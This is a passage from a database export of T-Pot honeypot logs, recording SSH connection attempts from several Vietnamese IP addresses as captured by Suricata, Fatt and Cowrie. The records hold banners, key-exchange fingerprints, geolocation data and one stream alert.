"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23869	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:46.09659+03	2021-09-20 14:15:08.061507+03	{"_id": "3QbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 445233145917160, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 32932, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.096590Z", "@timestamp": "2021-09-20T11:07:46.096Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23870	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:46.552156+03	2021-09-20 14:15:08.0625+03	{"_id": "3gbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1733358262582612, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34676, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.552156Z", "@timestamp": "2021-09-20T11:07:46.552Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23871	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:46.107187+03	2021-09-20 14:15:08.0635+03	{"_id": "4wbjAnwBvYTbRNuE-A7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34906, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.107187", "@timestamp": "2021-09-20T11:07:46.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23872	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:46.35601+03	2021-09-20 14:15:08.065502+03	{"_id": "5gbjAnwBvYTbRNuE-A7d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36584, "timestamp": "2021-09-20T11:07:46.356010", "@timestamp": "2021-09-20T11:07:46.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23874	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:47.797525+03	2021-09-20 14:15:08.067473+03	{"_id": "DQbjAnwBvYTbRNuE-w_k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 60878670223755, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34080, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.797525Z", "@timestamp": "2021-09-20T11:07:47.797Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23875	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:47.645264+03	2021-09-20 14:15:08.068472+03	{"_id": "DAbjAnwBvYTbRNuE-w_k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 921925123786096, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55386, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.645264Z", "@timestamp": "2021-09-20T11:07:47.645Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23876	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:47.519927+03	2021-09-20 14:15:08.070502+03	{"_id": "DwbjAnwBvYTbRNuE_A_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34080, "timestamp": "2021-09-20T11:07:47.519927", "@timestamp": "2021-09-20T11:07:47.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23877	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:47.798441+03	2021-09-20 14:15:08.0715+03	{"_id": "EQbjAnwBvYTbRNuE_A_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34080, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.798441", "@timestamp": "2021-09-20T11:07:47.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23883	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.946918+03	2021-09-20 14:15:08.07847+03	{"_id": "ZAbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0955749a468e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:48.946918Z", "@timestamp": "2021-09-20T11:07:48.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23878	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:53.511566+03	2021-09-20 14:15:08.072498+03	{"_id": "7gbkAnwBvYTbRNuEEw9Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:07:50.458594+0000", "pkts_toclient": 16, "pkts_toserver": 17, "bytes_toclient": 2795, "bytes_toserver": 4094}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN out of window", "signature_id": 2210038}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2144609971404642, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 52104, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:07:53.511566Z", "@timestamp": "2021-09-20T11:07:53.511Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
23879	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:53.016365+03	2021-09-20 14:15:08.0735+03	{"_id": "8AbkAnwBvYTbRNuEFA89", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50384, "dest_port": 22, "timestamp": "2021-09-20T11:07:53.016365", "@timestamp": "2021-09-20T11:07:53.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
